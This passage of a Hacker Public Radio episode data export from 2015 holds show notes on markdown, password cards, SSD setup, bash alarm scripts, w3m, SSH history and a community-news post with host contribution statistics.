                                                            \n

                                                            Use markdown for:

                                                            \n
                                                              \n
                                                            • taking notes
                                                            • \n
                                                            • creating SOPs
                                                            • \n
                                                            • Creating User guides (Image Magick mogrify)
                                                            • \n
                                                            • Creating things for my website
                                                            • \n
                                                            \n

                                                            Other programs and tools:

                                                            \n
                                                              \n
                                                            • Retext
                                                            • \n
                                                            • Haroopad
                                                            • \n
                                                            • discount
                                                            • \n
                                                            • stackedit.io
                                                            • \n
                                                            • atom
                                                            • \n
                                                            • texlive for going direct to pdf
                                                            • \n
                                                            \n\n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"markdown, writing, word processor","version":0,"downloads":0,"valid":1}, {"id":1833,"date":"2015-08-12","title":"Resurrecting an IBM T40","duration":1248,"summary":"I make an attempt to bring a 13 year old laptop back to life","notes":"

                                                            \n\"laptop\n

                                                            \n

                                                            \nhttps://www.thinkwiki.org/wiki/Category:T40\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ThinkPad T40,PCLinuxOS","version":0,"downloads":0,"valid":1}, {"id":1834,"date":"2015-08-13","title":"Password Cards","duration":500,"summary":"How to hide a password using a password card","notes":"

                                                            How to Hide a Password Using a Password Card

                                                            \n\n

                                                            It's okay to write your password down and keep it in your wallet, but it's best to try to hide it as well. Here's how to keep your password secure and handy at the same time by embedding it in a password card.

                                                            \n\n

                                                            Method 1

                                                            \n\n

                                                            Generate a fancy symbol-and-color-coded password card at passwordcard.org: https://www.passwordcard.org/en. Follow the directions there on how to use it best.

                                                            \n\n

                                                            Method 2

                                                            \n

                                                            Make your own. Use the password generation package pwgen on Linux to generate a whole bunch of random passwords. In the following example, the -s flag tells it you want secure passwords that are generated randomly, not suitable for human memory. The -y flag tells it to include special characters, and 24 indicates how many characters each password should contain.

                                                            \n\n
                                                            \npwgen -sy 24\n
                                                            \n\n

                                                            Then either use one of the passwords that was generated from this command or embed your own existing password somewhere inside the giant block of gibberish such that only you will know where your password begins and ends. You can put a copy of this in your wallet.

                                                            \n\n
                                                            \n4b$0<k=#;?MJ^K:Uw\\6zmP5s
                                                            Y;4T3G+jUwJ!R+DT{2=6-^$"
                                                            !]""YmR%x.2uG"MGhm)TLyJA
                                                            }L)xpxG\\1n"\\]bC#+/t<a1*@
                                                            '3^B`&mSHP@2p1s0;.Rrz_8k
                                                            skXLD!YAq|Ic!Y9(?DZKD:Oq
                                                            ;#/)sCz7PEbly7>/W|KlbveO
                                                            a0}amC@^{+aKhnHMgc$qq$XX
                                                            A#!o2FhIkD1Fu(K?nE!Szru4
                                                            iDAw2=MIa~KE)q'C>S|`A*q.
                                                            Y=g'_0i{BOXr8O4N11f8&yRf
                                                            ~+r^kB%#4o;zs:HWA/a'4U#`
                                                            3":6E$PQ:y%D=^ENM5;!q^n4
                                                            i"n~oy"4KT/XYY2IV_A%3Sg\\
                                                            /evf,L5NSX$2-5b;OvZuhN$_
                                                            ds4ZD.t/!0yqcey.1?%P'M!u
                                                            'GDS-jBN+'NB}cr7~Wy=;JSE
                                                            aI&7Byy$79Yf#gU|>@x_3IY2
                                                            -jyziY2pZ5M*#iL?9p+^F%PO
                                                            QUj&|HVDw2#x+t`1&zW"'Rp{
                                                            \n
                                                            \n\n

                                                            If you want extra security make two columns or increase the character count.

                                                            \n\n
                                                            \nra;aH5v"}2lF()\\;K0f-G;YT 3XGq>wQ6")UvSU#NpYfr,M(h
                                                            PCgM%L)O[mra3vgsX{"0rV"0 7>qSluuegS<#;V-nI"uyc$bX
                                                            JE+4MxT/[t&i0\\(ndpE(z\\%@ }ZS\\3<xdG1]G%wf9;k6*_94%
                                                            FFZ}gR9hyZ=EsC6QgMz:n$=U h&-O+Wz7L8LmehF&znhF8#Ig
                                                            p`4C3PN^1F"AmlQe=[pkz<EM /,FOfQtR|"c8EzN8ug?i359=
                                                            a%i;X3~g0SqbKM|]#{hReCmP }.#EOVPxCX)b!r_>o@V9J_^9
                                                            H-<FAQ4I]SPlX!$o#I?~2ACy -<JE82-'YV@bl;O_>(nxPgVH
                                                            PNHYp2_[-q9G?$Z:m?yZiAH. Xj(mZ0,7EabI-TL4-7RWK]n9
                                                            HCmiaZV{8EHREpS5Ppi_^SCl DTzK!CkZ#.c<3I;#}A#D(n$c
                                                            <koQz[`F99"{/vB~GcSt@n,* :J&*}n~.#F%{ErSs7j:}eyly
                                                            =!F:m65sA5utY,<AU\\8~Omz2 @P"*SIR/\\Ln0H;1JjM7P"{[0
                                                            8hk%p-)_3(P>;p.ROtRevNX_ BbwP00-Vq-5:38O.Z9MGom-n
                                                            9,txEI%j+'7=7T@?X7^j^*`U ;!R<$|r3(QuJmsZe6}C(7%&s
                                                            X]`(;_6S@@<}Ia[&fZ3*naG7 fij5f)Mkp;EDO.CP""*~8{-^
                                                            S2_'(C8Fn&[%nJ%`S3&r.N2< *$o\\Nrl*vJ0;zq7G3}wtMd0h
                                                            %is{8%'^[b$Cu;a5_RYpy]LM k-=7(<\\uQ|hQH-m9.WYq6tx+
                                                            Vmb&c!$.@P>\\`1;1@ln(B#GY eQu\\~"L'*xX%_)CTl*}8#2oD
                                                            =6I'>(_nIsu=D2J{l4a4tf5x 3/7J1Rm.G.Hwo=Xm=Lv"o}jF
                                                            RYV/lC1|t&;!]@4#2r-h<88/ o[B[qZq@;=/MD8hX|nnZ-0$j
                                                            5k`x|:.0G{sra@WiuhHr^aU> Dy@Df^op.WCT)3jD(|T,I7E"
                                                            \n
                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Privacy, security, passwords","version":0,"downloads":0,"valid":1}, {"id":1835,"date":"2015-08-14","title":"59 - LibreOffice Impress - Pictures","duration":1396,"summary":"Using and formatting pictures, and creating a photo album","notes":"

                                                            \nAs we pointed out previously, Impress is inherently a graphical, and even multimedia, way of communicating. In fact, we saw in the previous tutorials that Impress and Draw share a common set of Styles that apply to both programs, and I have often seen in documentation that Impress and Draw are often mentioned in the same breath, so to speak. So it is important that we start developing an understanding of the graphical elements in Impress.\nFor more go to https://www.ahuka.com/?page_id=1217\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations, Pictures, Photo Album","version":0,"downloads":0,"valid":1}, {"id":1836,"date":"2015-08-17","title":"The Statusnet Shuffle","duration":2711,"summary":"Theru and NYbill talk about moving a Statusnet instance and converting it to GNU-Social","notes":"

                                                            \nTheru and NYbill talk about moving a Statusnet instance to a new server. Also, upgrading an existing Statusnet instance to GNU-social.\n

                                                            \n\n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"StatusNet,GNU social","version":0,"downloads":0,"valid":1}, {"id":1837,"date":"2015-08-18","title":"Put an SSD in your Linux Box","duration":1102,"summary":"What to check, read, and update if you want to upgrade your Linux PC with an Solid State Disk. ","notes":"

                                                            \nSome commands I mentioned that you should check out:\n

                                                            \n

                                                            \nCheck SSD disk specs: \n

                                                            \n
                                                            \nsudo hdparm -I /dev/sdb\n
                                                            \n

                                                            \nCheck for TRIM support: \n

                                                            \n
                                                            \nsudo fstrim -v /\n
                                                            \n

                                                            \nPerform TRIM support \n

                                                            \n
                                                            \nsudo hdparm -I /dev/sdb | grep -i TRIM\n
                                                            \n

                                                            Detailed SSD Info

                                                            \n\n","hostid":285,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"SSD, Linux, BIOS, Update","version":0,"downloads":0,"valid":1}, {"id":1838,"date":"2015-08-19","title":"Waking up with Windigo","duration":925,"summary":"An overview of a terrible, hacky method of waking up.","notes":"This is a quick summary of my alarm clock system, written in bash and highly\nunreliable.\n\n

                                                            Hardware

                                                            \n\n

                                                            \nMy preferred hardware platform is a Dell Mini 9.\n

                                                            \n\n

                                                            Software

                                                            \n\n

                                                            \nMy alarm clock is an embarrassing combination of bash scripts and Audacious, my\nfavorite media player. Any media player will do, as long as it's scriptable.\n

                                                            \n\n

                                                            How It Works

                                                            \n\n

                                                            \nThere are currently two bash scripts in my crappy alarm setup. One script is\ncalled \"wakeup\" and the other is called \"wakeup-at\".\n

                                                            \n

                                                            \nwakeup is simply a wrapper that adds some error handling around audacious. It\nlaunches audacious if it can't find an instance running already, waits five\nseconds for it to get itself together, and then causes it to play. It is also\ncurrently broken, so the 'launching audacious' part doesn't work. I have to\nmanually start audacious myself. FAILURE.\n

                                                            \n\n

                                                            wakeup script:

                                                            \n\n
                                                            \n#!/bin/bash\naudacious &\n\nsleep 5s\n\naudacious -p &\n
                                                            \n\n

                                                            \nYou've noticed that the \"wakeup\" script doesn't actually have any timing\ninvolved; If you want to use it as an alarm, you get to combine it with the bash\n\"sleep\" command. This is not a failure, this is by design! An example alarm:\n

                                                            \n\n
                                                            \nsleep 8h; wakeup\n
                                                            \n\n

                                                            \nOne problem with this methodology is that it requires math, and is prone to\nerrors. If I'm going to sleep at 10:46:33 PM and need to wake up at 7:00 AM, I\nneed to chain sleep commands together for each unit of time:\n

                                                            \n\n
                                                            \nsleep 7h; sleep 14m; sleep 27s; wakeup\n
                                                            \n\n

                                                            \nGet some of that math wrong, and you wake up at the wrong time. FAILURE.\n

                                                            \n

                                                            \n\"wakeup-at\" is a wrapper around \"wakeup\" that uses the \"at\" utility to schedule\nthe wakeup script. So, instead of using multiple sleep commands, it accepts any\nof the time formats that at accepts:\n

                                                            \n\n
                                                            \nwakeup-at 7:00 AM\nwakeup-at 6:00AM 2018-02-02\nwakeup-at teatime\n
                                                            \n\n

                                                            \nHere is the wakeup-at script:\n

                                                            \n\n
                                                            \n#!/bin/bash\n\n## Make sure we have enough arguments\nif [ $# -lt 1 ]\nthen\n  echo \"Usage: `basename $0` <time>\"\n  exit 1\nfi\n\necho \"$@\"\n\n## Add custom time keywords\ncase \"$1\" in\n\"eternaldarkness\")\n\techo wakeup | at 3:33 AM\n\t;;\n\n## Catch-all; send all arguments to at\n*)\n\techo wakeup | at $@\n\t;;\nesac\n
                                                            \n

                                                            \nIf you make a syntax error, \"at\" tells you about it immediately. Its only\nfailings are what it inherits from the original \"wakeup\" script.\n

                                                            \n","hostid":196,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"bash, scripting, terrible","version":0,"downloads":0,"valid":1}, {"id":1839,"date":"2015-08-20","title":"My \"New\" Used Pickup Truck","duration":1320,"summary":"I talk about my pickup truck and doing some repairs and stuff","notes":"

                                                            My \"New\" Used Pickup Truck

                                                            \n\n

                                                            After 16 years my wife and I decided to become a 2-vehicle family, and as a result I got myself a 2004 Ford Ranger. In this episode I talk about the process of finding and purchasing the truck, and then about some repairs I did and some other stuff related to it.

                                                            \n\n\"My\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, automobile","version":0,"downloads":0,"valid":1}, {"id":1840,"date":"2015-08-21","title":"Running external commands in Kate","duration":242,"summary":"Using the text filter option in the kate text editor.","notes":"

                                                            \nKate is an excellent text editor. The \"Text Filter\" - enables easy text filtering, which by pressing Alt + Backslash pops up a screen that allows you to enter commands.\n

                                                            \n\"popup\n

                                                            \nSettings > Configure Kate > Plugins > Text Filter\n

                                                            \n\n
                                                            \nKate (short for KDE Advanced Text Editor) is a text editor developed by KDE. It has been a part of KDE Software Compilation since version 2.2, which was first released in 2001. Geared towards software developers, it features syntax highlighting, code folding, customizable layouts, regular expression support, and extensibility.\n
                                                            \n

                                                            \nSource: https://en.wikipedia.org/wiki/Kate_(text_editor)\n

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kate, plugins, Text Filter","version":0,"downloads":0,"valid":1}, {"id":1841,"date":"2015-08-24","title":"My way into Linux","duration":576,"summary":"From punch cards to Manjaro","notes":"

                                                            \nI let espeak describe my way through the world of bits and bytes from the punch cards of our Partnerbrigade to my Manjaro-laptop of today.\n

                                                            ","hostid":309,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"espeak,East Germany,punched cards,Commodore 64,Atari Mega ST,Macintosh,iMAC,MAC OS,LaTex,Debian,Ubuntu,Mint,Bodhi,ArchBang","version":0,"downloads":0,"valid":1}, {"id":1842,"date":"2015-08-25","title":"TiT Radio 20 You've Been Pwned (probably)","duration":7543,"summary":"While Peter is on walkabout, TiT Radio returns for a very short engagement","notes":"

                                                            \nLongtime listeners of Hacker Public Radio will remember 'TiT Radio', a semi-weekly FOSS \"news\" and commentary show that appeared on HPR, recorded by the cast of \"Linux Cranks\" on the off schedule weeks. \"Linux Cranks\" eventually morphed into the \"Kernel Panic Oggcast\". While Peter is on walkabout, the cast of KPO has resurrected \"Tit Radio\" on a temporary basis. The listener is cautioned, while KPO is family friendly, \"TiT Radio\" makes no such commitment. Please join netminer, FiftyOneFifty, and pegwole as they drag you down the rabbit hole that has always been \"TiT Radio\".\n

                                                            \n

                                                            \nOur show topics were drawn from these links. Not all these topics made it into the show, but feel free to browse anyway:\n

                                                            \n\n","hostid":131,"series":30,"explicit":1,"license":"CC-BY-SA","tags":"TiT Radio,news,commentary","version":0,"downloads":0,"valid":1}, {"id":1843,"date":"2015-08-26","title":"Some Bash tips","duration":1277,"summary":"A few useful Bash features that may not be well known","notes":"

                                                            Today I want to talk about three Bash commands:

                                                            \n
                                                              \n
                                                            • pushd
                                                            • \n
                                                            • popd
                                                            • \n
                                                            • dirs
                                                            • \n
                                                            \n

                                                            These let you change directory on a Linux system (and others which support Bash) but keep a record of where you have been in a stack structure. The stack can be viewed and manipulated with these commands as well.

                                                            \n

                                                            I have written out a moderately long set of notes about these commands and these are available by clicking this link.

                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,pushd,popd,dirs","version":0,"downloads":0,"valid":1}, {"id":1844,"date":"2015-08-27","title":"The Marantz PMD 660 Professional Solid State Recorder","duration":886,"summary":"I talk about the recording device I inherited from my mother-in-law and use it to record the show","notes":"\n

                                                            The Marantz PMD 660 Professional Solid State Recorder

                                                            \n\n\n\n\n

                                                            I inherited a really nice audio recorder and microphone from my mother-in-law recently and in this episode I talk all about it and use the new device to record the show.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n\n\n------------------------------------------------------------\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Digital recorders, audio gear, microphones, podcasting ","version":0,"downloads":0,"valid":1}, {"id":1845,"date":"2015-08-28","title":"60 - LibreOffice Impress - The Gallery and Themes","duration":869,"summary":"LibreOffice Clip Art Gallery and Theme collections","notes":"

                                                            \nIn the last tutorial we looked at pictures and how they can be used in Impress. But I left out one area because the tutorial was already running a bit long, and I wanted to give the Gallery and Themes the full attention they deserve. I think this is something a lot of people have missed when working with Impress, at least I have not seen these elements includes much in peoples presentations. But they are a wonderful addition to your toolkit, and well-worth some attention. Note that the Gallery is a common feature of all LibreOffice applications, and is available in applications like Writer and Calc, though there is less need for it there. It is when you get to applications like Impress and Draw that you really discover how useful it can be.\nFor more go to https://www.ahuka.com/?page_id=1222\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations, Clip Art, Gallery, Themes","version":0,"downloads":0,"valid":1}, {"id":1846,"date":"2015-08-31","title":"UNI-T UT61E Review","duration":1241,"summary":"NYbill does a quick review of his favourite multimeter for electronics, the UNI-T UT61E.","notes":"

                                                            \nNYbill does a quick review of his favourite multimeter for electronics, the UNI-T UT61E:\n

                                                            \n\n\n\n

                                                            \nA photo of the inside and outside of the meter:
                                                            \n\"picture\n

                                                            \n

                                                            \nI forgot to mention or show a picture of the data logging cable. I never use this feature so I tend to forget its there. \n

                                                            \n","hostid":235,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"multimeter,RMS meter,diode test,auto range","version":0,"downloads":0,"valid":1}, {"id":1847,"date":"2015-09-01","title":"Client Side C- WTF Is Wrong With You?","duration":640,"summary":"In this episode of hackerpublicradio sigflup talks about her efforts porting stuff with emscripten","notes":"

                                                            \nThis is the link to the emulator: https://theadesilva.com/web_nes \n

                                                            \n

                                                            \nemscripten's website is here https://kripken.github.io/emscripten-site\n

                                                            ","hostid":115,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"emscripten,c,c++,browser, javascript","version":0,"downloads":0,"valid":1}, {"id":1848,"date":"2015-09-02","title":"Introduction to w3m, a Command Line Web Browser","duration":901,"summary":"A brief introduction to using w3m, a command line web browser with tab and image support.","notes":"

                                                            W3M is a text browser with image and tab support which supports both keyboard and mouse navigation. (Image support is not available in some terminals, but does work in Xterm and rxvt, but images may be opened in a external viewer)). Mouse and keyboard navigation are supported, but I recommend learning the keybindings. Keybindings are case sensitive.

                                                            \n

                                                            The manual is 12 pages long and quite exhaustive. Here are some useful keybindings to get started with.

                                                            \n
                                                              \n
                                                            • Open new tab: SHIFT-T
                                                            • \n
                                                            • Close tab: CTRL-Q

                                                            • \n
                                                            • Open URL: U (opens text dialog at bottom of window)
                                                            • \n
                                                            • See URL of current page: u (displays current URL at bottom of window)
                                                            • \n
                                                            • Close tab: CTRL Q

                                                            • \n
                                                            • Go left one tab: {
                                                            • \n
                                                            • Go right one tab: }

                                                            • \n
                                                            • Back in the same page: b

                                                            • \n
                                                            • Page Up: - (hyphen) or PG UP
                                                            • \n
                                                            • Page Down: SPACE or PG DOWN

                                                            • \n
                                                            • Previous page ("Buffer"): B
                                                            • \n
                                                            • There is no "forward" button, but you can use view History: CTRL-h

                                                            • \n
                                                            • Search in page: / (opens search dialog at bottom of window)

                                                            • \n
                                                            • Help: H

                                                            • \n
                                                            • Add bookmark: ESC-a
                                                            • \n
                                                            • View bookmarks: ESC-v

                                                            • \n
                                                            • Run shell command: # (Opens a dialog at the bottom of the window. Exit with B.)

                                                            • \n
                                                            • Paste into dialogs (e. g., passwords): Middle mouse button.

                                                            • \n
                                                            • Scroll left: . (period)
                                                            • \n
                                                            • Scroll right: , (comma)

                                                            • \n
                                                            \n

                                                            Useful Links:

                                                            \n\n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"web browser, text web browser, tabs","version":0,"downloads":0,"valid":1}, {"id":1849,"date":"2015-09-03","title":"LinuxLugCast Episode-004 Outtakes","duration":547,"summary":"Preshow & aftershow banter that does not get published through our normal feeds.","notes":"

                                                            \nSome good content that we do not publish to the show https://linuxlugcast.com/?p=197\n

                                                            \n","hostid":265,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linuxlugcast,outtakes","version":0,"downloads":0,"valid":1}, {"id":1850,"date":"2015-09-04","title":"18 - ssh Introduction","duration":1022,"summary":"ssh is the secure way of connecting to a remote computer. This is an introduction to a mini-series.","notes":"

                                                            \nIn 1995 there was a password-sniffing attack on the network of the University of Helsinki in Finland, and this lead a researcher there, Tatu Ylönen, to create the first SSH implementation. SSH is an acronym for Secure Shell, and expresses the idea that you can securely log in and get a shell on a remote server. This was initially released as free software, but in later versions he took it proprietary. But the developers at OpenBSD decided that a free software implementation was needed, and they created OpenSSH, which is the basis for most implementations today. \nFor more go to https://www.zwilnik.com/?page_id=722 \n

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"ssh, Telnet, shell, security","version":0,"downloads":0,"valid":1}, {"id":1851,"date":"2015-09-07","title":"HPR Community News for August 2015","duration":6867,"summary":"HPR Community News for August 2015","notes":"

                                                            \nIn today's show Jon, Dave and Ken discuss some topics such as, \n

                                                            \n
                                                            \n\nHi All,\n\nI am concerned as to the health of HPR, and I touched (went on a rant to\nbe honest) on this in the Community News show that will be released\ntomorrow.\n\nWe have 16,495 subscribers and 260 slots per year, so we need to have\nonly 2.5% subscribers contributing to have a different host for every\nday. Unfortunately only 62 managed to contribute a show in the last 365\ndays. I don't need Charles in NJ to tell me that that's only 0.38% of\nour subscriber base.\n\nAs a project that is supposed to be a \"Community Podcast\", but we're\nlooking less like a bar camp and more like a TED talk.\n\nIt gets worse. Dave ran the query of how many shows were contributed by\neach host over the last 365 days. It shows that 50% of the shows have\nbeen contributed by just 5 hosts. This is not to say that submitting\nmultiple shows is bad, far from it. But it's the difference between\nwanting to submit multiple shows and *needing* to submit multiple shows,\nthat I'm concerned about.\n\nSo a few questions for the list:\n\n- Is this a problem ?\n- If so, how do we fix it ?\n\n*Please* do not derail this discussion about your intentions to record a\nshow. I have a in box full of \"I plan to do a show about this\" or \"I'm\ndefinitely doing a series on that\". More than one are from myself.\nBasically if it's not on the server, it's not a show.\n\nYou can always add a topic to the requested topic page.\nhttps://gitlab.anhonesthost.com/HPR/HPR_Public_Code/blob/master/www/reque\nsted_topics.html\n\n\n\nMore Info: https://hackerpublicradio.org/eps/hpr1851/hpr1851/hpr1851_HPR_Health_2015-09-06.ods\n\nRaw SQL Dump here: \n\n+--------+--------------------------------+-------+\n| hostid | host                           | shows |\n+--------+--------------------------------+-------+\n|    198 | Ahuka                          |    38 |\n|    238 | Jon Kulp                       |    24 |\n|    159 | HPR Volunteers                 |    18 |\n|    225 | Dave Morriss                   |    17 |\n|    131 | FiftyOneFifty                  |    17 |\n|     30 | Ken Fallon                     |    14 |\n|     78 | klaatu                         |     7 |\n|    209 | David Whitman                  |     7 |\n|    280 | semioticrobotic                |     6 |\n|    235 | NYbill                         |     6 |\n|    288 | beni                           |     6 |\n|    195 | Frank Bell                     |     6 |\n|     24 | Lord Drachenblut               |     6 |\n|    287 | corenominal                    |     5 |\n|    282 | Mike Ray                       |     5 |\n|    129 | JWP                            |     4 |\n|    265 | Kevin Wisher                   |     4 |\n|    240 | Steve Bickle                   |     4 |\n|    297 | swift110                       |     4 |\n|    286 | cjm                            |     3 |\n|    285 | 2BFrank                        |     3 |\n|    107 | lostnbronx                     |     3 |\n|    259 | Gabriel Evenfire               |     3 |\n|    215 | Windigo                        |     3 |\n|    296 | Kevie                          |     3 |\n|    300 | Mr. Young                        |     3 |\n|    284 | Steve Smethurst                |     2 |\n|    233 | johanv                         |     2 |\n|    252 | Curtis Adkins (CPrompt^)       |     2 |\n|    294 | daw                            |     2 |\n|    302 | Stilvoid                       |     2 |\n|    197 | garjola                        |     1 |\n|    134 | PipeManMusic                   |     1 |\n|    268 | Andrew Conway                  |     1 |\n|    283 | Inscius                        |     1 |\n|    289 | pyrrhic                        |     1 |\n|    290 | Al                             |     1 |\n|    158 | Various Creative Commons Works |     1 |\n|    109 | Various Hosts                  |     1 |\n|    291 | Rill                           |     1 |\n|    292 | Michal Cieraszynski            |     1 |\n|    270 | Thaj Sara                      |     1 |\n|    293 | Rho`n                          |     1 |\n|    295 | Cibola Jerry                   |     1 |\n|    246 | Beeza                          |     1 |\n|    201 | MrX                            |     1 |\n|    298 | tcuc                           |     1 |\n|    111 | Knightwise                     |     1 |\n|    299 | Fin                            |     1 |\n|    301 | amp                            |     1 |\n|    157 | HPR_AudioBookClub              |     1 |\n|    303 | Alpha32                        |     1 |\n|    306 | GNULinuxRTM                    |     1 |\n|    305 | kurakura                       |     1 |\n|    229 | Charles in NJ                  |     1 |\n|    263 | Tony Pelaez                    |     1 |\n|    307 | cheeto4493                     |     1 |\n|    271 | mirwi                          |     1 |\n|    255 | Matt McGraw (g33kdad)          |     1 |\n|    308 | A Shadowy Figure               |     1 |\n|    309 | folky                          |     1 |\n|    115 | sigflup                        |     1 |\n+--------+--------------------------------+-------+\n\nRegards,\n\nKen Fallon\nhttps://kenfallon.com\nhttps://hackerpublicradio.org/correspondents/0030.html\n
                                                            \n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n A Shadowy Figure, \n folky.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1826Mon2015-08-03HPR Community News for July 2015HPR Volunteers
                                                            1827Tue2015-08-04How I make breadDave Morriss
                                                            1828Wed2015-08-05Multimeter Mod's Part 1NYbill
                                                            1829Thu2015-08-06My "New" Used Kindle DXJon Kulp
                                                            1830Fri2015-08-07How Holland Works: GreenWheelsKen Fallon
                                                            1831Mon2015-08-10Are speed listening and slow background music compatible?A Shadowy Figure
                                                            1832Tue2015-08-11Simplify writing using markdown and pandocMr. Young
                                                            1833Wed2015-08-12Resurrecting an IBM T40swift110
                                                            1834Thu2015-08-13Password CardsJon Kulp
                                                            1835Fri2015-08-1459 - LibreOffice Impress - PicturesAhuka
                                                            1836Mon2015-08-17The Statusnet ShuffleNYbill
                                                            1837Tue2015-08-18Put an SSD in your Linux Box2BFrank
                                                            1838Wed2015-08-19Waking up with WindigoWindigo
                                                            1839Thu2015-08-20My "New" Used Pickup TruckJon Kulp
                                                            1840Fri2015-08-21Running external commands in KateKen Fallon
                                                            1841Mon2015-08-24My way into Linuxfolky
                                                            1842Tue2015-08-25TiT Radio 20 You've Been Pwned (probably)FiftyOneFifty
                                                            1843Wed2015-08-26Some Bash tipsDave Morriss
                                                            1844Thu2015-08-27The Marantz PMD 660 Professional Solid State RecorderJon Kulp
                                                            1845Fri2015-08-2860 - LibreOffice Impress - The Gallery and ThemesAhuka
                                                            1846Mon2015-08-31UNI-T UT61E ReviewNYbill
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-08-15 14:57:43 +0100
                                                              \n Subject: Help with tags and summaries
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/906
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Kevin O'Brien <zwilnik@...>
                                                              \n Date: 2015-08-15 19:17:10 -0400
                                                              \n Subject: Jon Kulp and group efforts
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/907
                                                              \n Messages: 2

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-08-19 11:48:59 +0200
                                                              \n Subject: Do you owe me a show ?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/909
                                                              \n Messages: 2
                                                            6. \n
                                                            \nTotal messages this month: 5
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 36 comments:

                                                            \n
                                                              \n
                                                            • hpr1612\n(2014-10-07) \"Don't Forget the Referbs\"\nby NYbill.\n
                                                              • Comment 5:\nNYbill on 2015-08-15:\n\"Sorry I'm late...\"
                                                              • \n

                                                            • \n
                                                            • hpr1810\n(2015-07-10) \"17 - LastPass Hacked - What Does It Mean?\"\nby Ahuka.\n
                                                              • Comment 1:\namp on 2015-08-08:\n\"but it is not free software\"
                                                              • \n

                                                            • \n
                                                            • hpr1827\n(2015-08-04) \"How I make bread\"\nby Dave Morriss.\n
                                                              • Comment 1:\nCharlie Ebert on 2015-08-03:\n\"Me.\"
                                                              • Comment 2:\nDaniel Worth on 2015-08-07:\n\"Great!\"
                                                              • Comment 3:\nDave Morriss on 2015-08-10:\n\"Thanks for the feeedback\"
                                                              • \n

                                                            • \n
                                                            • hpr1828\n(2015-08-05) \"Multimeter Mod's Part 1\"\nby NYbill.\n
                                                              • Comment 1:\nJon Kulp on 2015-08-05:\n\"Awesome\"
                                                              • Comment 2:\nNYbill on 2015-08-06:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1829\n(2015-08-06) \"My "New" Used Kindle DX\"\nby Jon Kulp.\n
                                                              • Comment 1:\nFweeb on 2015-08-07:\n\"BQ Cervantes?\"
                                                              • Comment 2:\ncybergrue on 2015-08-07:\n\"One thing you missed\"
                                                              • Comment 3:\nJon Kulp on 2015-08-07:\n\"good catch (PDFs)\"
                                                              • Comment 4:\nJon Kulp on 2015-08-07:\n\"Cervantes Reader\"
                                                              • \n

                                                            • \n
                                                            • hpr1830\n(2015-08-07) \"How Holland Works: GreenWheels\"\nby Ken Fallon.\n
                                                              • Comment 1:\nFiftyOneFifty on 2015-07-16:\n\"I thought this was about the dikes\"
                                                              • Comment 2:\nDave Morriss on 2015-08-11:\n\"Thanks for the insight\"
                                                              • \n

                                                            • \n
                                                            • hpr1831\n(2015-08-10) \"Are speed listening and slow background music compatible?\"\nby A Shadowy Figure.\n
                                                              • Comment 1:\nJon Kulp on 2015-08-09:\n\"1.7x\"
                                                              • Comment 2:\nKevin O'Brien on 2015-08-10:\n\"1.7x works for me\"
                                                              • Comment 3:\nA Shadowy Figure on 2015-08-10:\n\"Thanks, now I have a starting point\"
                                                              • Comment 4:\nWindigo on 2015-08-17:\n\"Normal - 1.5x\"
                                                              • \n

                                                            • \n
                                                            • hpr1832\n(2015-08-11) \"Simplify writing using markdown and pandoc\"\nby Mr. Young.\n
                                                              • Comment 1:\n0xf10e on 2015-08-11:\n\"thx, very useful\"
                                                              • Comment 2:\nJon Kulp on 2015-08-12:\n\"plus HTML as needed\"
                                                              • Comment 3:\nDave Morriss on 2015-08-17:\n\"Excellent episode\"
                                                              • \n

                                                            • \n
